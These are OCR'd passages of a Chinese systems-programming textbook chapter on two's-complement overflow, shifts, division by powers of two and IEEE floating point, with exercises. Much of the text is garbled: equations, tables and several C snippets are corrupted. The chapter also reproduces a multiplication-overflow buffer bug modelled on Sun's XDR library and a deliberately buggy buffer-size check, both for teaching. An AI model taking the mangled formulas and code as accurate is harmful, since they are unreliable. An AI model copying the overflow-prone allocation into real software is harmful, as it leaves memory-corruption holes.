    {"text": "+ y w ^2 w )] mod 2 W = [x^y + {x w _ x y + y w -ix)2 w + mod 2 W (2-18) = 0 c • y) mod 2 W 由于模运算符，所有带有权重2 W 的项都丢掉了，因此我们看到JC7和的低w位是相同的。"},
    {"text": "模式 X y x -y 截断的 无符号 [100] [101] 补码 [100] [101] 无符号 [010] [in] 补码 [010] [in] 无符号 [110] [110] 补码 [110] [110] 我们可以看出， w 位数字上的无符号运算和补码运算是同构的 - 级上有相同的结果。"},
    {"text": "下面是你的解决方案： /* Determine whether arguments can be multiplied without overflow */ int tmult_ok(int x, int y) { int p = x*y; /* Either x is zero, or dividing p by x gives y */ return !x I I p/x == y; } 你用x和y的很多值来测试这段代码，似乎都工作正常。"},
    {"text": "_练习题2.36对于数据类型int为32位的情况，设计一个版本的tmult_ok函数（见练习题2.35), 要使用64位精度的数据类型long long,而不使用除法。"},
    {"text": "XDR库中的安全漏洞 2002年，人们发现Sun Microsystems公司提供的实现XDR库的代码有安全漏洞，XDR库 是一个广泛使用的程序间共享数据结构的工具，造成这个安全漏洞的原因是程序会在毫无察觉的 情况下产生乘法溢出。"},
    {"text": "包含安全漏洞的代码与下面所示类似： 1 /* * Illustration of cod^ vulnerability similar to that found in * Sun's XDR library. */ void* copy.elements(void *ele_src[], int element, size 一 t ele_size) { /* * Allocate buffer for element objects, each of ele_size bytes * and copy from locations designated by ele_src */ void ^result = malloc (ele_.cnt * ele_size); if (result == NULL) /* malloc failed */ return NULL; void *next = result; int i; for (i = 0; i < element; i++) { /* Copy object i to destination */ memcpy(next, ele^src[i], ele_size); /* Move pointer to next memory region */ next += ele_size; > return result; > 為数copy一elements的设计可以将ele一cnt个数据结构复制到第10行的函数分配的缓冲区 中，每个数据结构包含ele_size个字节。"},
    {"text": "计算机紧急响应组（Computer Emergency Response Team, CERT), 卡内基—梅隆软件工程协会（Carnegie Mellon Software Engineering Institute)运行的一个追踪安 全漏洞或失效的组织，发布了建议“CA-2002-25”，于是许多公司急忙对它们的代码打补丁。"},
    {"text": "你把原来对malloc函 数的调用（第10行）替换如下： long long unsigned asize = ele_cnt * (long long unsigned) ele_size; void *result = malloc(asize); 这段代码在原始代码基础上有了哪些改进？"},
    {"text": "乘以常数 在大多数机器上，整数乘法指令相当慢，需要10个或者更多的时钟周期，然而其他整数运 算（例如加法、减法、位级运算和移位）只需要1个时钟周期。"},
    {"text": "这个属性可以通过等式 (2-1)推导出来： W—1 w+k([. x w—b x w—2^ •••，又0，0，•••， °]) 二 D 乂严 ' i=0 'w-1 - =.2' ' -i=0 . = x2 k 对于A<w,我们可以将移位后的位向量截断到长度w,得到…，x Q ，0，…，0]。 根 据等式（2-9),这个位向量的数值为x2 A mod2 w = x*：2 A 。"},
    {"text": "利用等式14 == 2 3 + 2 2 + 2\\ 编译器会将乘法重写为（x<<3> + (x<<2) + (x<<1), 实现了将一个乘法替换为三个 移位和两个加法。"},
    {"text": "關练习题2.38就像我们将在第3章中看到的那样，LEA指令能够执行形如（a«k)+b的计算，这里 k等于0、1、2或3,而b等于0或者某个程序值。"},
    {"text": "编译器会 将 ii ：的二进制表示表达为一组 0 和 1 交替的序列： [(0…0)(1 …1) (0-0)-(1-1)]. 例如， 14 可以写成 [(0...0)(111)(0)] 。"},
    {"text": "）我们可以用下面两种不同形式中的一种来计算这些位对 乘积的影响： 形式 A: (x«n) + (x««—1) + ••• + (x«m) 形式 B: (x«n+l) - (x«m) 把每个这样连续的 1 的结果加起来，不用做乘法，我们就能计算出当然，选择使甩 移位、加法和减法的组合，还是使用一条乘法指令，取决于这些指令的相对速度，而这些是与机 器高度相关的。"},
    {"text": "K 移位 加法/减法 表达式 6 2 1 31 1 1 一 6 2 1 55 2 2 議 练习题2.41对于一组从位位置”开始到位位置m结束的连续的1 (n > m),我们看到可以产生两 种形式的代码，A和B。"},
    {"text": "对于;c >0.和广>0,结果是L<y」，这里对于任何实数a, Ld定义 为唯一的整数a’，< a<a f +U 例如，L3.14j=3,卜3.14」=一4,而|_3」=3。"},
    {"text": "证明如下： 根据等式（2-1),我们有$ = 1:= 4，, = 和广= 因此，我们可 以把;c写为;c = 2 V+x\"。 可以观察到 0 ( 1 ,,( 1 : 32 ,.= 2 (- 1 ,因此 0 <x\"<^ 这意(**1^2 & 」=0。 因此，b#」 =lx'+x u /2 k j = [x f, /2 k j= 分。"},
    {"text": "c, C表达式x»k等价于 x /pwr2k,这里pwr2k 等价于. k »k (二进制） 十进制 12340/2 k 0 0011000000110100 12340 12340.0 1 0001100000011010 6170 6170.0 4 001100000011 771 771.25 8 00^^000110000 48 48.203125 图2-27无符号数除以2的幂 现在考虑对一个补码数进行算术右移的结果。"},
    {"text": "k »k (二进制） 十进制 -i2340/2 k 0 1100111111001100 -12340 -12340.0 1 7110011111100110 -6170 -6170.0 4 7777110011111100 —772 -771.25 8 \"\"\"\"11001111 -49 -48.203125 图2-28进行算术右移 让我们更好地理解算术右移的效果，以及如果利用它来执行除以2的幂。"},
    {"text": "设;c为位模式 …，;c 0 ]表示的补码整数，而A：的取值范围为0 < A:< W。 设f为W—H立(Xv-1，…， 表示的补码数，而X”为低A位[&+…，；"},
    {"text": "进一步，可以观察到，算术右移位向量 x w _ 2 ，…， x 0 ] k 位，得到位向量 IXv-l,…， X w-\\ f X w-lf x w-2f*** f X kl 它刚好就是将X w _ 2 , •••, xj从位符号扩展到w位。"},
    {"text": "通用的方式表达这个关系，假设jc =紗+ r, 这里 %3\\ (x+y— l)ly-k+{r^y— \\)ly 9 因此LOc+火一 l)/xJ=灸+ L( r+ 少一 1)4」。"},
    {"text": "这个分析表明对于使用算术右移的补码机器，C表达式 (x<0 ? (x + (l«k) — 1) : x) » k 等价于x/pwr2k,这里pwr2k等于2 k 。"},
    {"text": "k 偏量 -12 340 +偏量 »k ( 二进制） 十进制 -12340/2 k 0 0 1100111111001100 1100111111001100 -12340 -12340.0 1 1 1100111111001107 7110011111100110 -6170 一 6170.0 4 15 1100111111017077 \"\"110011111101 -771 —771.25 8 255 11010000 \"卯厕 linuunomoo -48 -48.203125 图2-29补码除以2的幂（右移之前加上一个偏量，结果向零舍入） ®练习题2.42写>一个函数divl6,对于整数参数x返回x/16的值。"},
    {"text": "®练习题2.43在下面的代码中，我们省略了常数M和N的定义： #define M /* Mystery number 1 */ #define N /* Mystery number 2 */ int arith(int x, int y) { int result = 0; result = x*M + y/N; /氺 M and N are mystery numbers. */ return result; > 我们以某个M和N的值编译这段代码。"},
    {"text": "下面是将产生出 的机器代码翻译回C语言的结果： /* Translation of assembly code for arith */ int optarith(int x, int y) i int t = x; x <<: 5; x -= t; if Cy < 0) y += 7; y >>= 3; /* Arithmetic shift */ return x+y; } M和N的值为多少？"},
    {"text": "我们还看到，补码表示提供了一种既能表示 负数也能表示正数的灵活方法，同时使用了与执行无符号算术相同的位级实现，这些运算包括加 •法、减法、乘法，甚至除法，无论运算数是以无符号形式还是以补码形式表示的，都有完全一样 或者非常类似的位级行为。"},
    {"text": "变量的声明和初始化如下： int x = foo(); /* Arbitrary value */ int y = bar(); /* Arbitrary value */ unsigned ux = x; unsigned.uy = y; 对于下面每个C表达式 ， 1)证明对于所有的x和y值，它都为真（等于1);或者2)给出使得 它为假（等于0)的x和y的值： (x > 0)丨丨（x-1 < 0) (x&7) !=7 I I (x<<29<0) (x * x) >= 0 x < 0 丨 I -x <= 0 x > 0 I | -x >= 0 x+y == uy+ux + uy*ux == -x 2.4 浮点数 ▽ 浮点表示对形如的有理数进行编码。"},
    {"text": "这个表示方法描述的数值定义如下： m d= 10, x 屯 i—-n 数字权的定义与十进制小数点符号相关，这意味着小数点左边的数字的权是10的正 幕，得到整数值，而小数点右边的数字的权是10的负幂，得到小数值。"},
    {"text": "类似地，考虑一个形如的表示法，其中每个二进制数字，或者 称为位， b t 的取值范围是0和1,如图2-30所示。 这种表示方法表示的数 b 定义如下： b=Y d 2 i xb i ( 2 _ 19 ) i=—n 符号现在变为t二进制的点，点左边的位的权是2的正幂，点右边的位的权是2的负幂。"},
    {"text": "例如，101.11 2 表示数字lx 22 + (^- + 1 x 20 + :^24 + ^ 2-2 = 4 + 0 + 1+1 + ^ = 5^ 2 m b m b m -\\ • • • b 2 b x b Q • b. x b- 2 b- z • • • b- n -i b-„ 1/8 - l/2 n ~ l -J . m n ： 图2-30小数的二进制表示。"},
    {"text": "二进制点左边的数字的权形如2 f ,而右边的数字的权形如l/2 f 从等式（2-19)中可以很容易地看出，二进制小数点向左移动一位相当于这个数被2除。"},
    {"text": "例如1011.1 2 表示数8 + 0 + 2 + 1+ | = 11士。 www.TopSage.com\n注意，形如0.11…1 2 的数表示刚好小于1的数。 例如，0.111111 2 表示我们将用简单的 表达法1.0-S来表7K这样的数值。"},
    {"text": "不过，我们并不能把它准确地表示为一个二进制 小数，我们只能近似地表示它，增加二进制表示的长度可以提髙表示的精度： 表示 值 十进制 0.0 2 0 2 O-Oio 0.01 2 1 ? 0.25^0 0.010 2 2 8 0.25io 0.0011 2 3 \\E 0.1875 10 0.00110 2 6 32 0.1875 10 0.001101 2 13 m 0.203125 10 0.0011010 2 26 155 0.203125 10 0.00110011 2 m 0.19921875 10 ®练习题 2.45填写下表中的缺失的信息： 小数值 ■ 二进制表示 十进制表示 l 0.001 0.125 3 4 25 TE 10.1011 1.001 5.875 3.1875 ® 练习题 2.46浮点运算的不精确性能够产生灾难性的后果。"},
    {"text": "IEEE浮点标准用(-1/ XMX 2 E 的形式来表示一个数： •符号（sign) ^决定这个数是负数0=1)还是正数（fO),而对于数值0的符号位解释作 为特殊情况处理。"},
    {"text": "将浮点数的位表示划分为三个字段，分别对这些值进行编码： 一个单独的符号位s直接编码符号〜 k 位的阶码字段exp = 编码阶码 Eo n 位小数字段f rac = f n —d 编码尾数M,但是编码出来的值也依赖于阶码字段的值是否 等于0。"},
    {"text": "在单精度浮点格式（C语言中的 float)中，s、exp和frac字段分别为1位、A:=8位和《 = 23位，得到一个32位的表示。 在双精度浮点格式（C语言中的double)中，s、exp和frac字段分别为1位、灸=11位和《 = 52位, 得到一个64位的表示。 单精度 31 30 23 22 0 1 醒漏議fill | ' frac 双精度 63 62 52 51 32 調國画讓鱺H— ! 31 0 图2-31标准浮点格式（浮点由3个字段表示，两种最常见的格式是它们 被封装到32位（单精度）和64位（双精度）的字中） 给定了位表示，根据exp的值，被编码的值可以分成三种不同的情况（最后一种情况有两 个变种)。"},
    {"text": "当exp的位模式既不全为0 (数值0),也不全为1 (单精度数值为 3b. NaN 獲 喇 ai 園 _議 圖圖■圖圖圈■國0國國圖圖圖圖 3a.无穷大 1.规格化的\n255,双精度数值为2047)时，都属于这类情况。"},
    {"text": "实际上 ， +0.0的浮点表示的位模式为全0 : 符号 位是0,阶码字段全为0 (表明是一个非规格化值)，而小数域也全为0,这就得到M=/=0。"},
    {"text": "两个无穷值 頊 A A A A ~ A ： 一 - A ~ 去 A A AA—-_~ A ~ A~A 4» A 杏 El 一 00 —10 —5 0 +5 +10 +oo Io规格化的 a非规格化的 m 无穷 | a)完整范围 一 0 +0 \\/ 4c A | A A i ■■~A — 「 A —A■■ ■_A 丨分 0 分 ^j> 0- ■ O ■ 0|~A—At-- A f A —A ni A i A ^ —1 —0.8 —0.6 —0.4 —0.2 0 +0.2 +0.4 +0.6 +0.8 +1 h 规格化的 △非规格化的 曰~^1 b) -1.0至+1.0之间的值 图2-33 6位浮点格式可表示的值 (k = 3的阶码位 ，n = 2 的尾数位，偏置量为3) 在两个末端。"},
    {"text": "值 2 E x M V 指数 位表示 2 e 十进制 E M o 15121 预 35127512 01121122 15 15 15 _5 15 018 118 218 318 718 018 118 218 3-8 718 11641S41极 15?164 0.0 0.001953 0.003906 0.005859 0.013672 0 0000 000 0 0000 001 0 0000 010 0 0000 011 0 0000 111 0 最小的非规格化数 最大的非规格化数 815129512141115诏 8-8 918101817928 818 91814181518 8S 9181018 018 118 618 718 018 118 2100 1B41541_2 1_2 11112 -6-6-l-looo 7 ^ 0.015625 5¾ 0.017578 \\ 0.875 0.9375 1 1.0 | 1.125 | 1.25 224 224.0 最小的规格化数 0 0001 000 0 0001 001 0 0110 110 0 0110 111 0 0111 000 0 0111 001 0 0111 010 0 1110 110 14 T 15 T 14 最大的规格化数 0 1110 111\n00 无穷大 0 1111 000\n图2-34 8位浮点格式的非负值示例 这种形式的最小规格化数同样有五=1-7=-6，并且小数取值范围也为0，|，...， \\。"},
    {"text": "这种表示具有一个有趣的属性，假如我们将图2-34中的值的位表达式解释为无符号整数, 它们就是按升序排列的，就像它们表示的浮点数一样。"},
    {"text": "当处理负数时，有一个小的难点，因为它们有 开头的1,并且它们是按照降序出现的，但是不需要浮点运算来进行比较也能解决这个问题（参 见家庭作业2.83)。"},
    {"text": "位 e E / M 2 £ x M V 十进制 0 00 00 0 00 01 0 00 10 0 00 11 0 01 00 0 01 01 1 0 1 1 4 5 4 5 5 耳 1.25 0 01 10 0 01 11 0 10 00 0 10 01 0 10 10 0 10 11 0 11 00 0 11 01 一 — . —— — — —— — 0 11 10 — 0 11 11 — — — —— — — — 图2-35展示了一些重要的单精度和双精度浮点数的表示和数字值。"},
    {"text": "它的阶码值五= 2H-1,得到数值厂= (2-2 _n )X2 2 \"~ 1 ' 1 = (1-2 ~ W ' 1 ) X 2 2 \"~ 1 O 描述 exp frac 单精度 双精度 值 十进制 值 十进制 0 00 .•00 0 •.00 0 0.0 0 0.0 最小非规格化数 00 •.00 0 ..01 2 -23 x 2-126 1.4 x 10- 45 2 -52 x 2-1022 4.9 x 10— 324 最大非规格化数 00 ••00 1 •11 (l-e)x 2- 126 1.2 x 10- 38 (1-e) x 2- 1022 2.2 x 10_ 308 最小规格化数 00 ••01 0 ••00 1 x 2- 126 1.2 x 10~ 38 1 x 2 - 1022 2.2 x 10~ 308 1 01 ••11 0 ..00 1x2° 1.0 1x2° 1.0 最大规格化数 11 .10 1 ••11 (2-s)x 2 127 3.4 x 10 38 (2 - e) x 2 1023 1.8 x 10 308 图2-35非负浮点数的示例 练习把一些整数值转换成浮点形式对理解浮点表示很有用。"},
    {"text": "回想2.1.4节，我们观察到整数值12345 (0x3039)和单精度浮点值12345 • 0 (Ox4640E400)在位级表示上有下列关系 ： 00003039 00000000000000000011000000111001 本*本本氺氺本氺氺氺本木氺 4640E400 01000110010000001110010000000000 现在我们可以看到，相关的区域对应于整数的低位，刚好在等于1的最髙有效位之前停止 (这个位就是隐含的开头的位1)，和浮点表示的小数部分的高位是相匹配的。"},
    {"text": "® 练习题 2.48 正如在练习题 2.6 中提到的，整数 3 510 593 的十六进制表示为 0x00359141 ，而单精 度浮点数 3510593.0 的十六进制表示为 0X4A564504 。"},
    {"text": "方式 1.40 1.60 1.50 2.50 -1.50 向偶数舍入 1 2 2 2 -2 向零舍入 1 1 1 2 -1 向下舍入 1 1 1 2 -2 向上舍入 2 2 2 3 -1 图 2-36 以美元为例说明 舍入方式（单位为美元） 其他三种方式产生实际值的确界（guaranteed bound)。"},
    {"text": "我们釆用这种方 式舍入得到的一组数的平均值将比这些数本身的平均值略高一些。 '相反，如果我们总是把两个可 表示值中间的数字向下舍入,.那么舍入后的一组数的平均值将比这些数本身的平均值略低一些。"},
    {"text": "不管用那种舍入方式，我们 都将把1.2349999舍入到1.23,而将1.2350001舍入到1.24,因为它们不是在1.23和1.24的正 中间。 另一方面我们将把两个数1.2350000和1.2450000都舍入到1.24,因为4是偶数。"},
    {"text": "我们将10.00011 2 ( 2 备）向下舍入到10.00 2 ( 2 ), 10.00110 2 ( 2 备）向上舍入到10.01 2 (2|), 因为这些值不是两个可能值的正中间值。 我们将10.11100 2 (2|)向上舍入成11.00 2 (3),而 10.10100 2 ( 2|)向下舍入成10.10 2 ( 2^),因为这些值是两个可能值的中间值，并且我们倾向于使 最低有效位为零。"},
    {"text": "10.010 2 B. 10.011 2 C. 10.110 2 D. 11.001 2 _练习题 2.51 在练习题2.46中我们看到，爱国者导弹软件将0.1近似表示为;c = 0.00011001100110011001100 2 。"},
    {"text": "格式 A 格式 B 位 值 位 值 011 0000 1 0111 000 1 101 1110 010 1001 110 1111 000 0001 2.4.5浮点运算 IEEE标准指定了一个简单的规则，用来确定诸如加法和乘法这样的算术运算的结果。"},
    {"text": "在实际中，浮点单元的设计者使用一些聪明的小技巧来避免执行 这种精确的计算，因为计算只要精确到能够保证得到一个正确的舍入结果就可以了。"},
    {"text": "这个运算 的定义针对x和 7 的所有取值，但是虽然x和都是实数，由于溢出，该运算可能得到无穷值。 对于所有1和7的值，这个运算是可交换的，也就是说x +公。"},
    {"text": "例如，假设一个编译器给定了如下代码片段：\n编译器可能试图产生下列代码来省去一个浮点加法： 然而，对于x来说，这个计算可能会产生与原始值不同的值，因为它使用了加法运算的不同的 结合方式。"},
    {"text": "另一方面，浮点加法满足了单调性属性：如果a 那么对于任何a、6以及x的值，除 了 NaN， 都有;c + + &无符号或补码加法不具有这个实数（和整数）加法的属性。"},
    {"text": "另一方面，对于任何〜6和c，并且1 6和c都不等于Mi见浮点乘法满足下列单调性： 且 c<0 => a* { c < b * f c 此外，我们还可以保证， 只要a关NaN， 就有像我们先前所看到的，无符号或 补码的乘法没有这些单调性属性。"},
    {"text": "不幸的是，因为C语言标准不要求机器便用IEEE浮点，所以没有标准的方法籴改变舍入 方式或者得到诸如一0、+ 00 、 — 〒或者TViafiV之类的特殊值。"},
    {"text": "#define POS INFINITY #define NEG 一工 NFINITY #define NEG—ZERO 不能使用任何include文件（例如math.h),但你能利用的是：双精度能够表示的最大的有限数， 大约是 1.8X10 3 。"},
    {"text": "当在int、float和double格式之间进行强制类型转换时，程序改变数值和位模式的原 则如下（假设int是32位的）： •从int转换成float,数字不会溢出，但是可能被舍入。 •从int或float转换成double,因为double有更大的范围（也就是可表示值的范围）， 也有更高的精度（也就是有效位数)，所以能够保留精确的数值。 •从double转换成float,因为范围要小一些，所以值可能溢出成为+ oo或-另外， 由于精确度较小，它还可能被舍入。 •从float或者double转换成int,值将会向零舍入。"},
    {"text": ".像大多数其他处理器一样，IA32处理器有特别的存储器元素，称为寄存器，当计算或者使 用浮点数时，用来保存浮点值。 IA32非同一般的属性是，浮点寄存器使用一种特殊的80位的扩 展精度格式。"},
    {"text": "对于程序员而言，把所有寄存器数据扩辱成so位，并把所有存储器数据收缩成更小的格式 的做法，命产生一些不太好的结果 b 这意味着从寄存器存储一个值到存储器中，然后再把它取回 到寄存器中,由于會今、下溢或者上溢,可能会改变它的值。"},
    {"text": "x==(int) (double)x x== (int) (float) x d== (double) (float) d f== (float) (double) f f==-(-f) 1.0/2==1/2.0 d*d>=0.0 (f+d)-f==d 2.5 小结 计算机将信息按位编码，通常组织成字节序列。"},
    {"text": "用不同的编码方式表示整数、实数和学符 串。 不同的计算机模型在编码数字和多字节数据中的字节排序时使用不同的约定。 C语言的设计可以包容多种不同字长和数字编码的实现。"},
    {"text": "这种模式能够通过C表达式 (l«k)-l生成，利用的是这样一个属性，即我们想要的位模式的数值为例如，表达式 (1«8)-1将产生位模式OxFF。"},
    {"text": "IEEE浮点也能够表示特殊值+00、—co和 必须非常小心地使用浮点运算，因为浮点运算只有有限的范围和精度，而且不遵守普遍的算 术属性，比如结合性。"},
    {"text": "已经有几本书[59, 70]给了 C语言程序员一些建议，警告他们关于溢出、隐式强制类型转换到 无符号数，以及其祂一些已经在这一章中谈及的陷阱。"},
    {"text": "对于运算数 x=0x89ABCDEF 和 y=0x76543210, 就得到 0x765432EF o **2.60假设我们将一个w位的字中的字节从0(最低位）到w/8 — 1(最高位）编号。"},
    {"text": "写出下面C函数的代码， 它会返回一个无符号值，其中参数x的字节i被替换成字节b: unsigned put_byte (unsigned x, unsigned char b int i); 以下的一些示例，说明了这个函数该如何工作： replace_byte(0x12345678 , OxAB, 2) --> 0xl2AB5678 replace^byte(0x12345678 , OxAB, 0) —> 0xl23456AB 位级整数编码规则 在接下来的作业中，我们特意限制了你能使用的编程结构，来帮你更好地理解C语言的位级、逻辑 和算术运算。"},
    {"text": "例如，下面这段代码从整数参数x中抽取出最高有效字节： /* Get most significant byte from x */ int get_msb(int x) { /* Shift by w-8 */ int shift_val = (sizeof (int)-1)«3; /* Arithmetic ： shift */■ . • . ■ ' , . . . • int xright = x » shift_val; /* Zero all but LSB */ return xright & OxFF; > **2.61写一个C表达式 ， 在下列描述的条件下产生1,而在其他情况下得到0。"},
    {"text": "函数srl用算术右移（由值xsra给出）来完成逻辑右移，后面的 其他操作不包括右移或者除法。 函数sra用逻辑右移（由值xsrl给出）来完成算术右移，后面的 其他操作不包括右移或者除法。"},
    {"text": "int sra(int x, int k) { /* Perform shift logically */ int xsrl = (unsigned) x » k; > unsigned srl (unsigned x, int k)-[ /* Perform shift arithmetically 氺 / unsigned xsra = (int) x » k; *2.64 «2.65 写出代码实现如下函数： /* Return 1 when any even bit of x equals 1; 0 otherwise. Assume w=32 */ int any_even_one(unsigned x); 函数应该遵循位级整数编码规则，不过你可以假设数据类型int有w = 32位。 写出代码实现如下函数： /* Return 1 when x contains an even number of Is; 0 otherwise. Assume w=32 */ int even_ones(unsigned x); 函数应该遵循位级整数编码规则，不过你可以假设数据类型int有w = 32位。"},
    {"text": "*** 2.66 写出代码实现如下函数： /* 氺 Generate mask indicating' leftmost 1 in x. Assume w=32. For example OxFFOO -> 0x8000, and 0x6600 --> 0x4000. If x = 0, then return 0. */ int leftmost^one(unsigned x); 函数应该遵循位级整数编码规则，不过你可以假设数据类型int有w = 32位。"},
    {"text": "下面是开始时的尝试： /* The following code does not run properly on some machines */ int bad - int_size_is_32() { /* Set most significant bit (msb) of 32-bit machine */ int set_msb = 1 « 31; /* Shift past msb of 32~bit word */ int beyond_msb = 1 « 32; ' /* set_rasb is nonzero when word size >= 32 beyond^msb is zero when word size <= 32 */ ■' >\nreturn set_msb && !beyond_msb; > 当在SUN SPARC这样的32位机器上编译并运行时，这个过程返回的却是0。"},
    {"text": "**2.68写出具有如下原型的函数的代码： / * Clear all but least signficant n bits of x Examples: x = 0x78ABCDEF, n = 8 —> OxEF, n = 16—> OxCDEF Assume 1 <= : n <: w */ - ^ :. int lower_bits(int x, int n); 函数应该遵循位级整数编码规则。"},
    {"text": "2.69写出具有如下原型的函数的代码： Do rotating right shift. Assume 0 <= ri < w Examples when x = 0x12345678 and w = 32: n-4 -> 0x81234567, n-20 > 0x45678123 ' */ ^ ； unsigned rotate_right(unsigned x, int n); 函数应该遵循位级整数编码规则。"},
    {"text": "**2.70写出具有如下原型的函数的代码： /* Return 1 when x can be represented as an n~bit, 2 1 s complement 本 number; 0 otherwise Assume 1 <™ n <~ w */ int fits_bits(int x, int n); 函数应该遵循位级整数编码规则。"},
    {"text": "分配给 你的任务是：为一个使用补码运算和算术右移的机器编写一个具有如下原型的函数： /* Declaration of data type where 4 bytes are packed into an unsigned */ typedef unsigned packed一t; /* Extract byte from word. Return as signed integer */ int xbyte(packed一t word, int bytenum); ' . .. ■ . _ - 也就是说，函数会抽取出指定的序节，再把它符号扩展为一个3 2 位int。"},
    {"text": ". 你的前任（.因为水平不够高而被解雇了）编写了下面的.代码： /* Failed attempt at xbyte */ int xbyte(packed.t word, int bytenum) return (word » (bytenum « 3)) & OxFF; > 这段代码错在哪里？"},
    {"text": "**2.72给你一个任务，写一个函数，将整数val复制到缓冲区buf中，但是只有当缓冲区中有足够可用的 空间时，才执行复制。 你写的代码如下： /氺 Copy integer into buffer if space is available */ /* WARNING: The following code is buggy */ void copy _ int(int val, void *buf, int maxbytes) { if (maxbytes-sizeof(val) >= 0) memcpy(buf , (void *) &val, sizeof(val)); > 这段代码使用了库函数memcpy。"},
    {"text": "**2.73写出具有如下原型的函数的代码： /* Addition that saturates to TMin or TMax */ int saturating_add(int x, int y); 同正常的补码加法溢出的方式不同，当正溢出时，saturating_add返回7Mzx,负溢出时，返回 TMin 。"},
    {"text": "**2.74写出具有如下原型的函数的代码： /* Determine whether subtracting arguments will cause overflow */ int tsub_ovf(int x, int y); 如果计算x - y导致溢出，这个函数就返回1。"},
    {"text": "乘积的低w位能够用表达式x*y计算，所以，我们只需要一个具有下 列原型的函数： int signed 一high一 prod(int x, int y); 这个函数计算无符号变量x •少的高w位。"},
    {"text": "K=5 •• K=9 ： K=30 ： [=-56: **2.77写出具有如下原型的函数的代码： /* Divide by power of two . Assume 0 <= k < w~l */ int divide_power2(int x, int k); 该函数要用正确的舍入方式计算x/2 a ,并且应该遵循位级整数编码规则。"},
    {"text": "我们产生随机数x和y,并且把它们转换成无符号数 ， 显示如下： /* Create some arbitrary values */ int x = random(); int y = random(); /氺 Convert to unsigned */ unsigned ux = (unsigned) x; unsigned uy = (unsigned) y; 对于下列每个C表达式 ， 你要指出表达式是否总是为1。"},
    {"text": "(x>y) == (-x<-y) ((x+y)«5) + x-y == 31*y+33*x ~x+^y == ~ (x+y) (int) (nx-uy) == - (y-x) ((x » 1) « 1) <= x **2.82 —些数字的二进制表示是由形如…的无穷串组成的，其中少是一个M立的序列。"},
    {"text": "int float_ge(float x, float y) { unsigned ux = f2u(x); unsigned uy = f2u(y); 卜 Get the sign bits 本 / unsigned sx = ux » 31; unsigned sy = uy » 31; Give an expression using only ux, uy, sx, and sy */ return ; > *2.84给定一个浮点格式，有M立指数和《位小数，对于下列数，写出阶码五、尾数M、小数/和值P的 公式。"},
    {"text": "*2.85与Intel兼容的处理器也支持“扩展精度”浮点形式，这种格式具有80位字长，被分成1个符号位、 灸=15个阶码位、1个单独的整数位和《 = 63个小数位。"},
    {"text": "描述 扩展精度 值 十进制 最小的正非规格化数 最小的正规格化数 最大的规格化数 *2.86考虑一个基于IEEE浮点格式的16位浮点表示，它具有1个符号位、7个阶码位a = 7)和8个小 数位（《 = 8)。"},
    {"text": ". . 描述 Hex M E V -0 — 最小的值>1 256 —■ 最大的非规格化数 一 OO — — — 十六进制表示为 3AA0 的数 — **2.87考虑下面两个基于IEEE浮点格式的9位浮点表示。"},
    {"text": "格式 A 格式 B 位 值 位 值 1 01110 001 if 1 0110 0010 if 0 10110 101 1 00111 110 0 00000 101 1 11011 000 0 11000 100 *2.88 我们在一个int类型为32位补码表示的机器上运行程序。"},
    {"text": "我们产生随机整数x、y和z,并且把它们转换成double类型的值： /* Create some arbitrary values */ int x = random(); int y = random(); int z = random(); /* Convert to double */ double dx = (double) x; double dy = (double) y; double dz = (double) z; 对于下列的每个C表达式 ， 你要指出表达式是否总是为1。"},
    {"text": "(double) (float) x == dx dx + dy == (double) (x+y) dx + dy + dz == dz + dy + dx dx * dy * dz == dz * dy * dx dx / dx == dy / dy *2.89分配给你一个任务，编写一个C函数来计算2-的浮点表示。"},
    {"text": "float fpwr2(int x) /氺 Result exponent and fraction */ unsigned exp, frac; unsigned u; if (x < ) { /* Too small. Return 0.0 */ exp = —; frac = : else if (x < ) { /* Denormalized result */ exp = ; frac = ; else if (x < ) { /* Normalized result. */ exp = ; frac - ; else { /木 Too big. Return +00 */ exp = . frac = > /* Pack exp and frac into 32 bits */ u = exp «23 I frac; /* Return as float */ return u2f(u); *2.90大约在公元前250年，希腊数学家阿基米德证明了等<tc<¥。"},
    {"text": "为此，我们定义数据类型float-bits等价于unsigned : /* Access bit-level representation floating-point number */ typedef unsigned float_bits; 你的代码中不使用数据类型float,而要使用float 一bits。"},
    {"text": ". /* If f is denorm, return 0. Otherwise, return f */ float^bits float_denorm_zero(float_bits f) { /* Decompose bit representation into parts */ unsigned sign = f»31; unsigned exp = f»23 & OxFF; 皿signed frac = f & 0x7FFFFF; if (exp == 0) { /* Denorraalized. Set fraction to 0 */ frac = 0; > /* Reassemble bits */ return (sign « 31) I (exp « 23) I frac; > *2.91 遵循位级浮点编码规则，现具有如下原型的函数： /* Compute | f I . If f ; ； is NaN, then return f. */ float_bits float_absval(float_bits f); 对于浮点数/,这个函数计算丨/|。"},
    {"text": "**2.92遵循位级浮点编码规则，实现具有如下原型的函数： /* Compute -f. If f is NaM, then return f. */ float_bits float.negate(float_bits f); 对于浮点数/，这个函数计算|/丨。"},
    {"text": "测试你的函数，对参数/可以取的所有2 32 个值求值，将结果与你使用机器的浮点运算得到的结果相 比较， 2.93遵循位级浮点编码规则，实现具有如下原型的函数： /* Compute 0.5*f. If f is NaN, then return f. 氺 / float_bits float_half(float_bits f); 对于浮点数/,这个函数计算0.57；"},
    {"text": "***2.94遵循位级浮点编码规则，实现具有如下原型的函数： /* Compute 2*f. If f is NaN, then return f. */ float_bits float_twice(float_bits f); 对于浮点数/,这个函数计算2.0 如栗 f 是 NaN ， 你的函数应该简单地返回/。"},
    {"text": "JJ2.95遵循位级浮点编码规则，实现具有如下原型的函数： /* Compute (float) i */ •’ •• float 一 bits float__i2f (int i); 对于函数i,这个函数计算（float) i的位级表示。 .测试你的函数，对参数/可以取的所有 232 个值求值，将结果与你使用机器的浮点运箅得到的结果相 JJ2.96遵循位级浮点编码规则，实现具有如下原型的函数： /* Compute (int) f. If conversion causes overflow or f is NaN, return 0x80000000 */ int float_f2i(float_bits f); 对于浮点数/,这个函数计算（int>/。"},
